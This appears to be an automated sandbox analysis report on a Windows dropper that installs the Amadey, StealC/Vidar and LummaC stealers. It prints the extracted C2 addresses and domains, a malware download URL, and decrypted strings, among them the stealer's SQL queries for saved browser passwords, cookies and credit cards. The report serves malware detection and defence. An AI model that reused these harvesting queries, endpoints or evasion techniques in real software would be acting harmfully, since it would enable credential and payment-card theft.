Windows Analysis Report
file.exe

Overview

General Information

Sample name: file.exe
Analysis ID: 1545821
MD5: 1e9b6495559bd70be253985543058dc7
SHA1: 5a5d36bbc250c8b97daee6b8a2a84a5ffe67bf88
SHA256: eda98cb76067e775429795b3610ccf6226395c47f0da17f107182b61741c891f
Tags: exeuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar, WhiteSnake Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected Vidar stealer
Yara detected WhiteSnake Stealer
.NET source code contains very large strings
.NET source code references suspicious native API functions
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Detected PureCrypter Trojan
Disable Windows Defender notifications (registry)
Disable Windows Defender real time protection (registry)
Disables Windows Defender Tamper protection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
LummaC encrypted strings found
Machine Learning detection for sample
Modifies windows update settings
Monitors registry run keys for changes
PE file contains section with special chars
Potentially malicious time measurement code found
Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses netsh to modify the Windows network and firewall settings
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected non-DNS traffic on DNS port
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Enables driver privileges
Enables security privileges
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Communication To Uncommon Destination Ports
Sigma detected: CurrentVersion Autorun Keys Modification
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
PureCrypter According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter
Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: file.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.16/steam/random.exe URL Reputation: Label: malware
Found malware configuration
Source: 0000002C.00000002.3211545990.0000000000361000.00000040.00000001.01000000.00000017.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 62dceeab4d.exe.4088.20.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["necklacedmny.store", "navygenerayk.store", "fadehairucw.store", "presticitpo.store", "scriptyprefej.store", "founpiuer.store", "thumbystriw.store", "crisiwarny.store"], "Build id": "4SD0y4--legendaryy"}
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Final[1].exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\1001312001\Final.exe ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\1001349001\f99547c8e6.exe ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1001350001\62dceeab4d.exe ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\VGX14DCMPTTJ4O2LPZ4N.exe ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\build.exe ReversingLabs: Detection: 58%
Multi AV Scanner detection for submitted file
Source: file.exe ReversingLabs: Detection: 57%
Source: file.exe Virustotal: Detection: 50% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: file.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 30
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 11
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 20
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: 24
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetProcAddress
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: LoadLibraryA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: lstrcatA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: OpenEventA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateEventA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CloseHandle
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Sleep
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetUserDefaultLangID
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: VirtualAllocExNuma
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: VirtualFree
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetSystemInfo
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: VirtualAlloc
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HeapAlloc
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetComputerNameA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: lstrcpyA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetProcessHeap
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetCurrentProcess
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: lstrlenA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ExitProcess
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetSystemTime
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SystemTimeToFileTime
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: advapi32.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: gdi32.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: user32.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: crypt32.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ntdll.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetUserNameA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateDCA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetDeviceCaps
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ReleaseDC
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CryptStringToBinaryA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sscanf
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: VMwareVMware
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HAL9TH
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: JohnDoe
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DISPLAY
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: %hu/%hu/%hu
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: http://185.215.113.206
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: bksvnsj
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: /6c4adf523b719729.php
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: /746f34465cf17784/
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: tale
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetFileAttributesA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GlobalLock
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HeapFree
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetFileSize
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GlobalSize
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: IsWow64Process
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Process32Next
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetLocalTime
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: FreeLibrary
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetTimeZoneInformation
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetSystemPowerStatus
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetVolumeInformationA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Process32First
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetLocaleInfoA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetModuleFileNameA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DeleteFileA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: FindNextFileA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: LocalFree
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: FindClose
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: LocalAlloc
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetFileSizeEx
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ReadFile
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SetFilePointer
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: WriteFile
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateFileA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: FindFirstFileA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CopyFileA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: VirtualProtect
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetLastError
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: lstrcpynA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: MultiByteToWideChar
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GlobalFree
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: WideCharToMultiByte
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GlobalAlloc
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: OpenProcess
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: TerminateProcess
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetCurrentProcessId
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: gdiplus.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ole32.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: bcrypt.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: wininet.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: shlwapi.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: shell32.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: psapi.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: rstrtmgr.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SelectObject
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BitBlt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: DeleteObject
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateCompatibleDC
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdipGetImageEncodersSize
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdipGetImageEncoders
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdipCreateBitmapFromHBITMAP
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdiplusStartup
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdiplusShutdown
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdipSaveImageToStream
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdipDisposeImage
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GdipFree
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetHGlobalFromStream
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CreateStreamOnHGlobal
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CoUninitialize
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CoInitialize
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CoCreateInstance
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BCryptGenerateSymmetricKey
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BCryptCloseAlgorithmProvider
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BCryptDecrypt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BCryptSetProperty
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BCryptDestroyKey
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: BCryptOpenAlgorithmProvider
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetWindowRect
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetDesktopWindow
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetDC
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CloseWindow
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: wsprintfA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: EnumDisplayDevicesA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetKeyboardLayoutList
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CharToOemW
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: wsprintfW
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RegQueryValueExA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RegEnumKeyExA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RegOpenKeyExA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RegCloseKey
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RegEnumValueA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CryptBinaryToStringA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CryptUnprotectData
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SHGetFolderPathA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: ShellExecuteExA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: InternetOpenUrlA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: InternetConnectA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: InternetCloseHandle
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: InternetOpenA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HttpSendRequestA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: HttpOpenRequestA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: InternetReadFile
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: InternetCrackUrlA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: StrCmpCA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: StrStrA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: StrCmpCW
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: PathMatchSpecA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: GetModuleFileNameExA
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RmStartSession
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RmRegisterResources
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RmGetList
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: RmEndSession
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_open
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_prepare_v2
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_step
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_column_text
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_finalize
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_close
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_column_bytes
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: sqlite3_column_blob
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: encrypted_key
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: PATH
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: C:\ProgramData\nss3.dll
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: NSS_Init
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: NSS_Shutdown
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: PK11_GetInternalKeySlot
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: PK11_FreeSlot
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: PK11_Authenticate
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: PK11SDR_Decrypt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: C:\ProgramData\
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: browser:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: profile:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: url:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: login:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: password:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Opera
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: OperaGX
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Network
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: cookies
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: .txt
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: TRUE
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: FALSE
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: autofill
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT name, value FROM autofill
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: history
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT url FROM urls LIMIT 1000
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: cc
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: name:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: month:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: year:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: card:
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Cookies
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Login Data
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Web Data
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: History
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: logins.json
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: formSubmitURL
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: usernameField
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: encryptedUsername
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: encryptedPassword
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: guid
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: cookies.sqlite
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: formhistory.sqlite
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: places.sqlite
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: plugins
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Local Extension Settings
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Sync Extension Settings
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: IndexedDB
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Opera Stable
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Opera GX Stable
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: CURRENT
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: chrome-extension_
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: _0.indexeddb.leveldb
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: Local State
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: profiles.ini
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: chrome
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: opera
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: firefox
Source: 19.2.f99547c8e6.exe.ee0000.0.unpack String decryptor: wallets
